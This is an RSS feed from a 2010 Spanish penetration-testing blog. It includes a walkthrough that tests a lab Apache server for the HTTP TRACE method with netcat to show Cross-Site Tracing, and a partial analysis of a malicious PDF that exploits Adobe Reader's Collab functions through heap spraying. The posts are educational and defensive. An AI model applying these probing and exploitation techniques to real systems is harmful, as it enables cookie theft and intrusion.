<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7678234999586772610</atom:id><lastBuildDate>Sat, 31 Jul 2010 19:58:15 +0000</lastBuildDate><title>Pentester.es</title><description>Seguridad de Sistemas Informáticos</description><link>http://www.pentester.es/</link><managingEditor>noreply@blogger.com (Jose Selvi)</managingEditor><generator>Blogger</generator><openSearch:totalResults>121</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Pentesteres" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="pentesteres" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2068758784966496882</guid><pubDate>Thu, 29 Jul 2010 05:51:00 +0000</pubDate><atom:updated>2010-07-29T07:51:00.317+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PentesterEs</category><title>Vacaciones 2010 en Pentester.Es</title><description>&lt;div style="text-align: justify;"&gt;Hola amigos de la seguridad, tal y como &lt;a href="http://www.pentester.es/2009/07/pentester-de-vacaciones.html"&gt;sucedió el año pasado&lt;/a&gt;, se acaba julio y los miembros de &lt;a href="http://www.pentester.es/"&gt;Pentester.Es&lt;/a&gt; &lt;b&gt;nos vamos de vacaciones&lt;/b&gt; durante el mes de agosto, por lo que en principio no va a haber más entradas durante este mes, a no ser que haya algo tan gordo que nos quite el sueño no escribir al respecto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Gracias a todos de nuevo por leernos otro año más, por vuestros comentarios, por plantearnos vuestras dudas y por vuestras aportaciones, porque todo eso nos animan a seguir, hace que se nos planteen dudas que no se nos ocurrieron a nosotros mismos y, sobretodo, hace que aprendamos con cada entrada que escribimos. &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A los &lt;b&gt;más de 1300 lectores&lt;/b&gt; que acabando esta temporada leen &lt;a href="http://www.pentester.es/"&gt;Pentester.Es&lt;/a&gt;...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;&lt;b&gt;¡Muchas Gracias!&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El 1 de Septiembre volvemos, como cada año, con más, y mejor.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;¡Feliz Verano!&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-2068758784966496882?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/07/vacaciones-2010-en-pentesteres.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2222625192621742263</guid><pubDate>Mon, 19 Jul 2010 06:18:00 +0000</pubDate><atom:updated>2010-07-19T08:18:01.107+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><title>Estado de Cross-Site Tracing (XST)</title><description>&lt;div style="text-align: justify;"&gt;Como bien nos advierte la guía OWASP de testing en el control &lt;a href="http://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29"&gt;OWASP-CM-008&lt;/a&gt;, disponer del método TRACE habilitado en nuestro servidor Web puede tener consecuencias negativas. El método TRACE tiene como función principal poder realizar debug del protocolo HTTP. En el año 2003 Jeremiah Grossman publicó un paper titulado &lt;a href="http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf"&gt;Cross-Site Tracing (XST)&lt;/a&gt; en que abre una nueva técnica de evasión de la medidas de seguridad HTTP con el método Trace y XSS.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez presentada brevemente la técnica y su origen, vamos a ver cómo detectar  que el método TRACE está activo y veremos el impacto real hoy en día (2010). Para las pruebas utilizaremos un servidor Web Apache con el método TRACE activado.  Lo primero antes de hacer nada es comprobar que el método TRACE está habilitado:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;$nc 192.168.0.16 80&lt;/div&gt;&lt;div style="text-align: justify;"&gt;OPTIONS / HTTP/1.1&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Host: 192.168.016&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;HTTP/1.1 200 OK&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Date: Wed, 19 May 2010 18:51:16 GMT&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.5 with Suhosin-Patch&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Allow: GET,HEAD,POST,OPTIONS,&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;TRACE&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vary: Accept-Encoding&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Content-Length: 0&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Content-Type: text/html&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Visto que dispone del método, realizamos lo mismo pero ahora invocamos al método TRACE:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;$nc 192.168.0.16 80&lt;/div&gt;&lt;div style="text-align: justify;"&gt;TRACE / HTTP/1.1&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Host: 192.168.0.16&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;HTTP/1.1 200 OK&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Date: Wed, 19 May 2010 18:53:32 GMT&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.5 with Suhosin-Patch&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Transfer-Encoding: chunked&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Content-Type: message/http&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;28&lt;/div&gt;&lt;div style="text-align: justify;"&gt;TRACE / HTTP/1.1&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Host: 192.168.0.16&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;0&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El servidor web realiza un "echo" de lo que hemos enviado junto con las cabeceras. Ahora la pregunta que nos hacemos es, ¿qué nos permite un XST? , vamos a ver que dicen desde OWASP y en el paper de Jeremiah:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El paper nos indica que el método TRACE nos puede ser útil para saltarnos la protección &lt;a href="http://www.owasp.org/index.php/HttpOnly"&gt;HTTPOnly&lt;/a&gt; que impide el acceso a las cookies por código script en el lado del cliente si el navegador lo soporta y para aprovechar vulnerabilidades para saltarse la política de mismo origen de los navegadores (como la que nos trajo Jose sobre &lt;a href="http://www.pentester.es/2010/06/safari-same-domain-policy-bypass.html"&gt;Safari &lt;/a&gt;hace poco).&lt;br /&gt;&lt;br /&gt;Por situarnos un poco, HTTPOnly nace porque según el creador del flag el principal objetivo de los XSS son las cookies de sesión. Ahora os surgirá la pregunta, ¿Qué navegadores lo soportan actualmente este flag?, pues tenemos la respuesta en la propia página de OWASP en forma de tabla.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S_RESL15bXI/AAAAAAAAAZQ/UnTSkrk6Eus/s1600/Captura+de+pantalla+2010-05-19+a+las+22.03.00.png"&gt;&lt;img src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S_RESL15bXI/AAAAAAAAAZQ/UnTSkrk6Eus/s400/Captura+de+pantalla+2010-05-19+a+las+22.03.00.png" alt="" id="BLOGGER_PHOTO_ID_5473074526369181042" style="cursor: pointer; width: 400px; height: 135px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La gran mayoría de navegadores (algunos parece que no, MAL por ellos!) soportan el flag HTTPOnly y previenen la lectura de las cookies. Si por contra usan set-cookie2, ya hay menos navegadores que parece que interpretan HTTPOnly. &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Entonces llegados a este punto uno lee el paper, la guía OWASP y se frota las manos de todo lo que va a poder hacer si este método está activado. ¿Pero es esto así?, pues la verdad es que aprovechar esta técnica con versiones actuales de Firefox , Internet Explorer, Safari o Chrome ahora se vuelve una tarea no tan fácil e inmediata como en 2003 (fecha de publicación del paper) ya que los navegadores actuales no lanzan peticiones con el método TRACE. (las ignoran). Para poder encontrar un navegador que las permita tendremos que irnos a un Internet Exporer 6 SP2 (con el resto no nos ha sido posible a nosotros). Vamos a ver un ejemplo de cómo aprovechar la técnica con un IE6 SP2:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Para nuestras pruebas nos creamos una página web como la que sigue:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TA69zdAHd-I/AAAAAAAAAZ4/Y9V8F3hG_o0/s1600/Captura+de+pantalla+2010-06-09+a+las+00.01.07.png"&gt;&lt;img src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TA69zdAHd-I/AAAAAAAAAZ4/Y9V8F3hG_o0/s400/Captura+de+pantalla+2010-06-09+a+las+00.01.07.png" alt="" id="BLOGGER_PHOTO_ID_5480526488212568034" style="cursor: pointer; width: 400px; height: 171px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Veremos lo siguiente:&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TA6-AKezK2I/AAAAAAAAAaA/YwlW4945uj0/s1600/Captura+de+pantalla+2010-06-09+a+las+00.01.54.png"&gt;&lt;img src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TA6-AKezK2I/AAAAAAAAAaA/YwlW4945uj0/s400/Captura+de+pantalla+2010-06-09+a+las+00.01.54.png" alt="" id="BLOGGER_PHOTO_ID_5480526706579286882" style="cursor: pointer; width: 400px; height: 275px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Como conclusión según lo que hemos podido comprobar, los desarroladores de navegadores al limitar la utilización del método TRACE han reducido el impacto de un XST . Por ello si nos encontramos con un método TRACE activado en servidor Web deberemos ser conscientes a la hora de notificarlo de las dificultados de su explotación contra los usuarios finales.&lt;br /&gt;&lt;br /&gt;Si alguien tiene una prueba de concepto que funcione sobre navegadores actuales que avise :), sería bueno ver como hacer  bypass.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-2222625192621742263?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/07/estado-de-cross-site-tracing-xst.html</link><author>noreply@blogger.com (José Miguel Holguín)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S_RESL15bXI/AAAAAAAAAZQ/UnTSkrk6Eus/s72-c/Captura+de+pantalla+2010-05-19+a+las+22.03.00.png" height="72" width="72" /><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1318391733425795676</guid><pubDate>Mon, 12 Jul 2010 18:17:00 +0000</pubDate><atom:updated>2010-07-12T20:19:48.560+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">Formacion</category><category domain="http://www.blogger.com/atom/ns#">SeguridadRedes</category><title>Curso de Seguridad GSM/UMTS</title><description>&lt;div style="text-align: justify;"&gt;Con el paso del tiempo los teléfonos móviles se han ido convirtiendo en un medio imprescidible en nuestras vidas, adquiriendo cada vez más funcionalidades, más potencia, más versatilidad, y con ello más problemas de seguridad, algo grave si tenemos en cuenta que hoy en día un teléfono móvil almacena contactos, correos electrónicos, todo tipo de contraseñas, y un largo, etcétera. En la actualidad estamos empezando a ver en las principales conferencias de seguridad investigaciones referentes a los dispositivos móviles y a su seguridad, lo cual hace preveer que en muy poco tiempo será un objetivo claro para los atacantes.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;¿Vas a esperar a ser una de las primeras víctimas?&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Anticipándose a los problemas de seguridad y a las amenazas masivas que vamos a sufrir en un futuro muy próximo, &lt;a href="http://www.taddong.com/es/"&gt;&lt;b&gt;Taddong&lt;/b&gt;&lt;/a&gt; ofrece el próximo mes de Noviembre en Valencia la primera edición de su cur&lt;span&gt;&lt;span&gt;so "&lt;a href="http://www.taddong.com/es/TR_GSMSecurity.html"&gt;&lt;b&gt;Seguridad GSM y UMTS (2G/3G)&lt;/b&gt;&lt;/a&gt;", en la&lt;/span&gt;&lt;/span&gt; que &lt;a href="http://www.taddong.com/es/EV_GSMSecurity_201011.html"&gt;a lo largo de tres días&lt;/a&gt; (19, 20 y 21 de Noviembre) se verán los posibles ataques existentes contra las comunicaciones tanto de voz como de datos GSM y UMTS, así como las posibles medidas de protección contra dichos ataques.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S65s-APUrtI/AAAAAAAAAVM/EaohTbKmXEY/s400/Imagen+2.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S65s-APUrtI/AAAAAAAAAVM/EaohTbKmXEY/s400/Imagen+2.png" border="0" alt="" style="float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 400px; height: 100px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Los directivos de tu empresa manejan información muy confidencial? En ese caso no puedes perderte un curso como este, tremendamente práctico, con ejercicios en los que podréis ver de primera mano como son realizados todos estos ataques, y como anularlos, de la mano de dos verdaderos expertos en la materia como son José Picó y David Pérez.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Todos los detalles sobre precios, fechas, etc, se pueden consultar en el &lt;a href="http://www.taddong.com/es/EV_GSMSecurity_201011.html"&gt;siguiente enlace&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por otro lado, Taddong también pone a disposición de los interesados por el curso un más que interesante &lt;a href="http://www.taddong.com/es/training.html"&gt;programa de descuentos&lt;/a&gt; del que nos podemos beneficiar y que además son acumulables unos con otros.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Los miembros de &lt;a href="http://www.pentester.es"&gt;Pentester.Es&lt;/a&gt;, por supuesto, no pensamos perdérnoslo, así que nos veremos las caras el próximo Noviembre en Valencia.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;No olvidéis&lt;/b&gt; mencionar en vuestra inscripción que leísteis la noticia en Pentester.Es.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1318391733425795676?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/07/curso-de-seguridad-gsmumts.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_Jx-hAg65Epo/S65s-APUrtI/AAAAAAAAAVM/EaohTbKmXEY/s72-c/Imagen+2.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1503764494289148600</guid><pubDate>Mon, 05 Jul 2010 06:23:00 +0000</pubDate><atom:updated>2010-07-05T08:50:47.651+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Malware</category><category domain="http://www.blogger.com/atom/ns#">IngenieriaInversa</category><title>Análisis de un PDF portador</title><description>&lt;div style="text-align: justify;"&gt;No hace falta que os diga que los ficheros PDF son hoy en día una de las principales vías a través de la cual los malos de lo ajeno están llevando a cabo sus actividades delictivas. Normalmente se focalizan en vulnerabilidades en el lector de pdf más usado que es Adobe Reader y el caso que vamos a ver no va a ser una excepción. Dicho esto, el otro día a raíz de la entrada publicada por &lt;a href="http://blog.zynamics.com/2010/06/09/analyzing-the-currently-exploited-0-day-for-adobe-reader-and-adobe-flash/"&gt;Zynamics&lt;/a&gt; (que como comentan en SecurityByDefault, es una entrada muy recomendable), me volvió a recordar que llevamos tiempo desde pentester.es queriendo preparar una entrada de análisis de ficheros pdf. Lo primero es conseguir un fichero pdf malicioso, para esta ocasión lo hemos obtenido de los enlaces suministrados por el &lt;a href="http://www.blade-defender.org/eval-lab/"&gt;proyecto blade-defender de SRI&lt;/a&gt;  (proyecto que habrá que seguir de cerca) y que tiene como md5:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;readme.pdf, a491ae05103849d8797d1fda034e0bd5&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Para la entrada nos apoyaremos en las herramientas realizadas por &lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;Didier Stevens &lt;/a&gt;para manejar los ficheros PDF. Os aconsejo el &lt;a href="http://blog.didierstevens.com/2008/10/20/analyzing-a-malicious-pdf-file/"&gt;screencast&lt;/a&gt; que pone Didier en su propia página para que veáis su uso y lo que es posible hacer con ellas. Ahora vamos al jaleo con nuestro PDF portador.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Lo primero sería preguntarnos, ¿Qué objetos contiene este fichero PDF?&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TB3KRd9vRlI/AAAAAAAAAaQ/ugDLwQ0y8cw/s1600/Captura+de+pantalla+2010-06-20+a+las+09.58.26.png"&gt;&lt;img style="cursor: pointer; width: 364px; height: 400px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TB3KRd9vRlI/AAAAAAAAAaQ/ugDLwQ0y8cw/s400/Captura+de+pantalla+2010-06-20+a+las+09.58.26.png" alt="" id="BLOGGER_PHOTO_ID_5484762322657298002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TB3UMKMtgVI/AAAAAAAAAaY/unoY0W1nyO0/s1600/Captura+de+pantalla+2010-06-20+a+las+10.40.58.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 226px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TB3UMKMtgVI/AAAAAAAAAaY/unoY0W1nyO0/s400/Captura+de+pantalla+2010-06-20+a+las+10.40.58.png" alt="" id="BLOGGER_PHOTO_ID_5484773226568319314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Observamos que exiten objetos de tipo Javascript, OpenAction, Page y Xref. Visto que contiene JavaScript, nos centramos en ver qué  código JS contiene:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ywZ68m8Vt3A/TB3faPwCqFI/AAAAAAAAAag/HlkW6gg7enI/s1600/Captura+de+pantalla+2010-06-20+a+las+11.28.41.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 141px;" src="http://2.bp.blogspot.com/_ywZ68m8Vt3A/TB3faPwCqFI/AAAAAAAAAag/HlkW6gg7enI/s400/Captura+de+pantalla+2010-06-20+a+las+11.28.41.png" alt="" id="BLOGGER_PHOTO_ID_5484785563204757586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Si nos fijamos en la imagen se ha encontrado que el Objeto 2, contiene "/OpenAction /JS 10 0 R", con lo que nos indica que va abrir el código javascript alojado en la Referencia "10 0 R". Lo que vamos a hacer ahora es ver qué hay en ese objeto:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TB3h2vWLGrI/AAAAAAAAAaw/G67r2J5-oQA/s1600/Captura+de+pantalla+2010-06-20+a+las+11.38.59.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 216px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TB3h2vWLGrI/AAAAAAAAAaw/G67r2J5-oQA/s400/Captura+de+pantalla+2010-06-20+a+las+11.38.59.png" alt="" id="BLOGGER_PHOTO_ID_5484788251745786546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;Como se ve en la imagen, el código javascript no tiene desperdicio :D. Podemos ver cómo todas las variables están cambiadas a un valor aleatorio (funcionalidad que como bien me comento Jose proporciona la metasploit). Llegados a este punto hemos obtenido el código javascript que se ejecutará cuando se abra el pdf y por la pinta que tiene parece que no va a hacer nada bueno. Lo siguiente que nos preguntamos es, ¿qué está intentando explotar este fichero PDF?, para ello volcamos el código javascript y lo analizamos para ver si encontramos algún indicio que nos oriente sobre qué puede estar intentando explotar el PDF.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TB3khOpkovI/AAAAAAAAAa4/DlkyuZVWC_s/s1600/Captura+de+pantalla+2010-06-20+a+las+11.50.31.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 257px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TB3khOpkovI/AAAAAAAAAa4/DlkyuZVWC_s/s400/Captura+de+pantalla+2010-06-20+a+las+11.50.31.png" alt="" id="BLOGGER_PHOTO_ID_5484791180726412018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez visto el código, vemos funciones como Collab.collectEmailInfo() y Collab.GetIcon() que pertenecen al objeto Collab. Con una rápida búsqueda en Google sobre estas funciones, encontramos que exiten ciertos Advisory como &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt; y &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt; e incluso &lt;a href="http://downloads.securityfocus.com/vulnerabilities/exploits/27641-collectEmailInfo-PoC.txt"&gt;pruebas de concepto&lt;/a&gt; en securityfocus, además de un análisis realizado por la gente &lt;a href="http://carnal0wnage.blogspot.com/2009/03/pdf-exploits-now-with-heapspray.html"&gt;Carnal0wnage&lt;/a&gt;. Estos datos encontrados en Google lo confirmaremos ahora durante el análisis.&lt;br /&gt;&lt;br /&gt;Viendo el código de la prueba de concepto de securityfocus(en el lado izquierdo) y el código javascript obtenido (lado derecho), vemos ciertas similitudes que nos pueden llevar a creer que van por aquí los tiros:&lt;br /&gt;&lt;br /&gt;La función &lt;span style="font-weight: bold;"&gt;repeat&lt;/span&gt; en la prueba de concepto&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ywZ68m8Vt3A/TB3pbNAel5I/AAAAAAAAAbA/WojEXSSCuQU/s1600/Captura+de+pantalla+2010-06-20+a+las+12.11.20.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 130px;" src="http://2.bp.blogspot.com/_ywZ68m8Vt3A/TB3pbNAel5I/AAAAAAAAAbA/WojEXSSCuQU/s400/Captura+de+pantalla+2010-06-20+a+las+12.11.20.png" alt="" id="BLOGGER_PHOTO_ID_5484796574764537746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;La función &lt;span style="font-weight: bold;"&gt;heapspray&lt;/span&gt; de la prueba de concepto la tenemos en las dos siguiente imagenes&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ywZ68m8Vt3A/TB3rKha8ozI/AAAAAAAAAbI/4yXZjRTgf9w/s1600/Captura+de+pantalla+2010-06-20+a+las+12.18.45.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 220px;" src="http://2.bp.blogspot.com/_ywZ68m8Vt3A/TB3rKha8ozI/AAAAAAAAAbI/4yXZjRTgf9w/s400/Captura+de+pantalla+2010-06-20+a+las+12.18.45.png" alt="" id="BLOGGER_PHOTO_ID_5484798487209747250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TB3r5By0KdI/AAAAAAAAAbQ/2Ftv9W1TWLw/s1600/Captura+de+pantalla+2010-06-20+a+las+12.22.03.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 247px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TB3r5By0KdI/AAAAAAAAAbQ/2Ftv9W1TWLw/s400/Captura+de+pantalla+2010-06-20+a+las+12.22.03.png" alt="" id="BLOGGER_PHOTO_ID_5484799286173772242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;El punto donde se llama a la función Collab.colletEmailInfo&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TB3s2XQE6yI/AAAAAAAAAbY/t1qBkLA-KfU/s1600/Captura+de+pantalla+2010-06-20+a+las+12.26.05.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 215px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/TB3s2XQE6yI/AAAAAAAAAbY/t1qBkLA-KfU/s400/Captura+de+pantalla+2010-06-20+a+las+12.26.05.png" alt="" id="BLOGGER_PHOTO_ID_5484800339905669922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: 